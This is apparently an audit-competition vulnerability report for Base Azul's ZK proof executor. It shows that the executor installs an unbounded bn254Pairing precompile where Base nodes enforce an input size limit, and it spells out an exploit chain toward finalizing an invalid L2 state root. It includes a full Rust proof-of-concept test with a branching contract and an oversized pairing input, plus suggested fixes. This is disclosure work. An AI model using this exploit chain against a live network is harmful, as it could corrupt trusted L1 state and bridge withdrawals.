75101 bc critical zk proof executor uses wrong azul precompile semantics allowing proofs for invalid l2 state roots

#75101 [BC-Critical] ZK Proof Executor Uses Wrong Azul Precompile Semantics, Allowing Proofs For Invalid L2 State Roots

Submitted on Apr 27th 2026 at 08:46:05 UTC by @Brainiac5 for Audit Comp | Base Azul

• Report ID: #75101

• Report Type: Blockchain/DLT

• Report severity: Critical

• Target: https://github.com/base/base/tree/v0.8.0-rc.24

• Impacts:

  • A bug in the respective layer 0/1/2 network code that results in unintended smart contract behavior with no concrete funds at direct risk

Description

Brief

The zkVM proof executor does not use the same Azul precompile table as normal Base execution. In Azul, normal Base execution rejects bn254Pairing inputs above the Jovian/Azul size limit of 81,984 bytes. The proof executor starts from the Azul precompile table but then overwrites the Base-specific bn254Pairing precompile with the vanilla Istanbul precompile, which does not enforce that Base limit. This means the same L2 transaction can execute one way on real Base nodes and another way inside the proof program. A proof generated over the proof executor can therefore attest to an output root that normal Base execution would not produce.

Vulnerability Details

The normal Base precompile table correctly installs fork-specific precompiles. For Azul, it starts from Jovian and then applies the Azul Osaka changes:

OpSpecId::JOVIAN => Self::jovian(),
OpSpecId::AZUL => Self::azul(),

For Jovian, bn254Pairing is replaced with the Base-specific version:

precompiles.extend([
    bn254_pair::JOVIAN,
    bls12_381::JOVIAN_G1_MSM,
    bls12_381::JOVIAN_G2_MSM,
    bls12_381::JOVIAN_PAIRING,
]);

That bn254_pair::JOVIAN precompile rejects inputs longer than 81,984 bytes:

pub const JOVIAN_MAX_INPUT_SIZE: usize = 81_984;

pub fn run_pair_jovian(input: &[u8], gas_limit: u64) -> PrecompileResult {
    if input.len() > JOVIAN_MAX_INPUT_SIZE {
        return Err(PrecompileError::Bn254PairLength);
    }
    bn254::run_pair(input, bn254::pair::ISTANBUL_PAIR_PER_POINT, bn254::pair::ISTANBUL_PAIR_BASE, gas_limit)
}

The proof executor uses OpZkvmPrecompiles, not the normal BasePrecompiles, when executing blocks for witness/proof generation:

let executor = BaseExecutor::new(
    rollup_config.as_ref(),
    l2_provider.clone(),
    l2_provider,
    ZkvmOpEvmFactory::new(),
    None,
);

ZkvmOpEvmFactory installs OpZkvmPrecompiles:

.with_precompiles(OpZkvmPrecompiles::new_with_spec(spec_id))

The bug is in OpZkvmPrecompiles::get_or_create_precompiles. It first chooses the Base fork table, but then blindly extends it with generic accelerated precompiles:

fn get_precompiles() -> Vec<PrecompileWithAddress> {
    vec![
        bn254::add::ISTANBUL,
        bn254::mul::ISTANBUL,
        bn254::pair::ISTANBUL,
        secp256k1::ECRECOVER,
        secp256r1::P256VERIFY,
        kzg_point_evaluation::POINT_EVALUATION,
    ]
}

let base = match spec {
    OpSpecId::AZUL => BasePrecompiles::azul().clone(),
    ...
};
let mut precompiles = base;
precompiles.extend(get_precompiles());

Because extend() replaces the precompile at the same address, the Azul proof executor loses the Base-specific bn254_pair::JOVIAN limit and uses bn254::pair::ISTANBUL instead.

The result is not only a local precompile discrepancy. The PoC below deploys a tiny contract that branches on whether STATICCALL(0x08) succeeds:

• Normal Base Azul execution rejects the oversized bn254Pairing input, so the contract returns/stores 2.

• The zkVM proof executor accepts the exact same transaction and calldata, so the contract returns/stores 1.

That is a state-transition mismatch. A state root produced by the proof executor for this transaction is not the state root produced by normal Base execution.

Impact Details

An attacker can build an L2 transaction that calls a contract which branches on the result of an oversized bn254Pairing precompile call.

The concrete exploit chain is:

1. The transaction calls bn254Pairing with a valid input of 82,176 bytes.

2. 82,176 > 81,984, so normal Base Azul execution rejects the precompile call.

3. The same call succeeds in the proof executor because OpZkvmPrecompiles overwrote the Azul precompile with the vanilla Istanbul one.

4. The contract updates state differently depending on the precompile result.

5. The output root generated by the proof executor differs from the output root generated by normal Base nodes.

6. A ZK proof over that wrong execution can still satisfy AggregateVerifier, because the verifier checks the proof image/journal, not whether the proof program's precompile table matches the Base node precompile table.

7. If accepted and finalized, L1 can trust an invalid L2 state root.

This does not rely on the rejected TEE-only bootstrap issue, guardian inaction, old games, or a compromised admin key. The issue is in the prover execution semantics themselves.

This also does not require proving direct bridge theft to be serious. The in-scope impact explicitly includes finalizing an invalid state root on L1 through proof verification. Once an invalid root is finalized, bridge withdrawals and any L1 logic depending on that root inherit the wrong state.

Suggested Fix

Do not overwrite Base fork-specific precompiles with generic accelerated precompiles.

Specific fixes:

• For OpSpecId::AZUL, keep bn254_pair::JOVIAN for bn254Pairing and keep secp256r1::P256VERIFY_OSAKA for P256.

• For OpSpecId::JOVIAN, do not map to BasePrecompiles::isthmus(); use BasePrecompiles::jovian() and preserve all Jovian limits.

• If accelerated precompiles are required, wrap the accelerated implementation with the same Base fork-specific bounds and gas semantics before installing it.

• Add fork-by-fork tests that compare every precompile address/id installed by BasePrecompiles and OpZkvmPrecompiles.

• Add transaction-level regression tests like the PoC above, not only direct precompile table tests.

References

• base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:65

• base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:90

• base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:100

• base/crates/common/evm/src/precompiles/provider.rs:88

• base/crates/common/evm/src/precompiles/provider.rs:116

• base/crates/common/evm/src/precompiles/bn254_pair.rs:22

• base/crates/proof/succinct/utils/client/src/witness/executor.rs:144

• base/crates/proof/succinct/utils/client/src/precompiles/factory.rs:57

• contracts/src/multiproof/AggregateVerifier.sol:917

Note: I used AI for the proof-of-concept writing and for refactoring the report for better structure, as rust can be tricky sometimes.

Proof of Concept

PoC file:

base/crates/proof/succinct/utils/client/tests/audit_precompile_mismatch.rs

Run:

cd bounty/base-azul/base
cargo test --locked -p base-proof-succinct-client-utils \
  --test audit_precompile_mismatch \
  --config 'target.aarch64-apple-darwin.rustflags=["-C","link-arg=-fuse-ld=ld"]' \
  -- --nocapture

Observed result:

running 2 tests
test audit_azul_zkvm_bn254_pairing_uses_unbounded_istanbul_precompile ... ok
test audit_azul_zkvm_precompile_mismatch_changes_transaction_result ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

Full PoC code:

//! Audit PoC for an Azul precompile mismatch between normal Base execution and proof execution.

use alloy_primitives::{Address, Bytes, U256, hex};
use base_common_evm::{
    BaseContext, BasePrecompiles, BaseTransaction, Builder as _, DefaultBase as _, L1BlockInfo,
    OpSpecId,
};
use base_proof_succinct_client_utils::precompiles::OpZkvmPrecompiles;
use revm::{
    Context, ExecuteEvm,
    bytecode::Bytecode,
    context::{CfgEnv, TxEnv},
    database::{EmptyDB, InMemoryDB},
    handler::PrecompileProvider,
    interpreter::{CallInput, CallInputs, CallScheme, CallValue, InstructionResult},
    precompile::bn254,
    primitives::{TxKind, bytes},
    state::AccountInfo,
};

type TestContext = BaseContext<EmptyDB>;

fn create_test_context() -> TestContext {
    Context::base().with_db(EmptyDB::new())
}

fn call_inputs(address: Address, input: Bytes, gas_limit: u64) -> CallInputs {
    CallInputs {
        input: CallInput::Bytes(input),
        gas_limit,
        bytecode_address: address,
        target_address: address,
        caller: Address::ZERO,
        value: CallValue::Transfer(U256::ZERO),
        scheme: CallScheme::Call,
        is_static: true,
        return_memory_offset: 0..0,
        known_bytecode: None,
    }
}

fn oversized_valid_pairing_input() -> Bytes {
    let valid_pair = hex!(
        "2cf44499d5d27bb186308b7af7af02ac5bc9eeb6a3d147c186b21fb1b76e18da\
         2c0f001f52110ccfe69108924926e45f0b0c868df0e7bde1fe16d3242dc715f61f\
         b19bb476f6b9e44e2a32234da8212f61cd63919354bc06aef31e3cfaff3ebc226\
         06845ff186793914e03e21df544c34ffe2f2f3504de8a79d9159eca2d98d92bd\
         368e28381e8eccb5fa81fc26cf3f048eea9abfdd85d7ed3ab3698d63e4f902\
         fe02e47887507adf0ff1743cbac6ba291e66f59be6bd763950bb16041a0a85e\
         0000000000000000000000000000000000000000000000000000000000000001\
         30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd45\
         1971ff0471b09fa93caaf13cbf443c1aede09cc4328f5a62aad45f40ec133eb\
         4091058a3141822985733cbdddfed0fd8d6c104e9e9eff40bf5abfef9ab163bc\
         72a23af9a5ce2ba2796c1f4e453a370eb0af8c212d9dc9acd8fc02c2e907bae\
         a223a8eb0b0996252cb548a4487da97b02422ebc0e834613f954de6c7e0afdc1fc"
    );

    let mut input = Vec::with_capacity(valid_pair.len() * 214);
    for _ in 0..214 {
        input.extend_from_slice(&valid_pair);
    }
    Bytes::from(input)
}

fn branching_contract_bytecode() -> Bytecode {
    Bytecode::new_legacy(bytes!(
        "365f5f375f5f365f60085afa601b5760025f5560025f5260205ff35b60015f5560015f5260205ff3"
    ))
}

fn run_branching_contract_with_protocol_precompiles(input: Bytes) -> U256 {
    let contract = Address::from([0x42; 20]);
    let caller = Address::from([0x11; 20]);

    let mut db = InMemoryDB::default();
    db.insert_account_info(
        contract,
        AccountInfo { code: Some(branching_contract_bytecode()), ..Default::default() },
    );
    db.insert_account_info(
        caller,
        AccountInfo { balance: U256::from(1_000_000), ..Default::default() },
    );

    let mut evm = Context::base()
        .with_db(db)
        .with_cfg(CfgEnv::new_with_spec(OpSpecId::AZUL))
        .with_chain(L1BlockInfo {
            l2_block: Some(U256::ZERO),
            operator_fee_scalar: Some(U256::ZERO),
            operator_fee_constant: Some(U256::ZERO),
            ..Default::default()
        })
        .build_base()
        .with_precompiles(BasePrecompiles::new_with_spec(OpSpecId::AZUL));

    let tx = BaseTransaction::builder()
        .base(
            TxEnv::builder()
                .caller(caller)
                .kind(TxKind::Call(contract))
                .data(input)
                .gas_limit(16_777_216),
        )
        .enveloped_tx(Some(Bytes::from_static(b"AUDIT")))
        .build_fill();

    let result = evm.transact_one(tx).expect("protocol transaction should execute");
    U256::from_be_slice(result.output().expect("contract should return a branch value"))
}

fn run_branching_contract_with_zkvm_precompiles(input: Bytes) -> U256 {
    let contract = Address::from([0x42; 20]);
    let caller = Address::from([0x11; 20]);

    let mut db = InMemoryDB::default();
    db.insert_account_info(
        contract,
        AccountInfo { code: Some(branching_contract_bytecode()), ..Default::default() },
    );
    db.insert_account_info(
        caller,
        AccountInfo { balance: U256::from(1_000_000), ..Default::default() },
    );

    let mut evm = Context::base()
        .with_db(db)
        .with_cfg(CfgEnv::new_with_spec(OpSpecId::AZUL))
        .with_chain(L1BlockInfo {
            l2_block: Some(U256::ZERO),
            operator_fee_scalar: Some(U256::ZERO),
            operator_fee_constant: Some(U256::ZERO),
            ..Default::default()
        })
        .build_base()
        .with_precompiles(OpZkvmPrecompiles::new_with_spec(OpSpecId::AZUL));

    let tx = BaseTransaction::builder()
        .base(
            TxEnv::builder()
                .caller(caller)
                .kind(TxKind::Call(contract))
                .data(input)
                .gas_limit(16_777_216),
        )
        .enveloped_tx(Some(Bytes::from_static(b"AUDIT")))
        .build_fill();

    let result = evm.transact_one(tx).expect("zkVM transaction should execute");
    U256::from_be_slice(result.output().expect("contract should return a branch value"))
}

#[test]
fn audit_azul_zkvm_bn254_pairing_uses_unbounded_istanbul_precompile() {
    let input = oversized_valid_pairing_input();
    assert_eq!(input.len(), 82_176);

    let address = bn254::pair::ADDRESS;

    let mut protocol_ctx = create_test_context();
    let mut protocol_precompiles = BasePrecompiles::new_with_spec(OpSpecId::AZUL);
    let protocol_result = protocol_precompiles
        .run(&mut protocol_ctx, &call_inputs(address, input.clone(), u64::MAX))
        .expect("protocol precompile call should not fatal")
        .expect("bn254 pairing precompile should exist");

    let mut zkvm_ctx = create_test_context();
    let mut zkvm_precompiles = OpZkvmPrecompiles::new_with_spec(OpSpecId::AZUL);
    let zkvm_result = zkvm_precompiles
        .run(&mut zkvm_ctx, &call_inputs(address, input, u64::MAX))
        .expect("zkVM precompile call should not fatal")
        .expect("bn254 pairing precompile should exist");

    assert_eq!(protocol_result.result, InstructionResult::PrecompileError);
    assert_eq!(zkvm_result.result, InstructionResult::Return);
}

#[test]
fn audit_azul_zkvm_precompile_mismatch_changes_transaction_result() {
    let input = oversized_valid_pairing_input();

    let protocol_branch = run_branching_contract_with_protocol_precompiles(input.clone());
    let zkvm_branch = run_branching_contract_with_zkvm_precompiles(input);

    assert_eq!(protocol_branch, U256::from(2));
    assert_eq!(zkvm_branch, U256::from(1));
}

Expected vs Actual

Expected:

The proof executor must execute Azul blocks with exactly the same EVM/precompile semantics as normal Base Azul nodes. If normal Base execution rejects an oversized bn254Pairing input, the proof executor must reject it too.

Actual:

Normal Base Azul execution rejects the oversized bn254Pairing input and the test contract takes branch 2. The proof executor accepts the same input and the same transaction takes branch 1.

Preconditions And Constraints

• Azul must be active for the block being proven.

• The L2 transaction must reach a contract that branches on the success/failure of an oversized bn254Pairing call.

• The attacker must be able to generate or submit a ZK proof that relies on the zkVM proof executor output root.

• This report does not require an admin mistake, TEE-only bootstrap assumptions, or guardian inaction.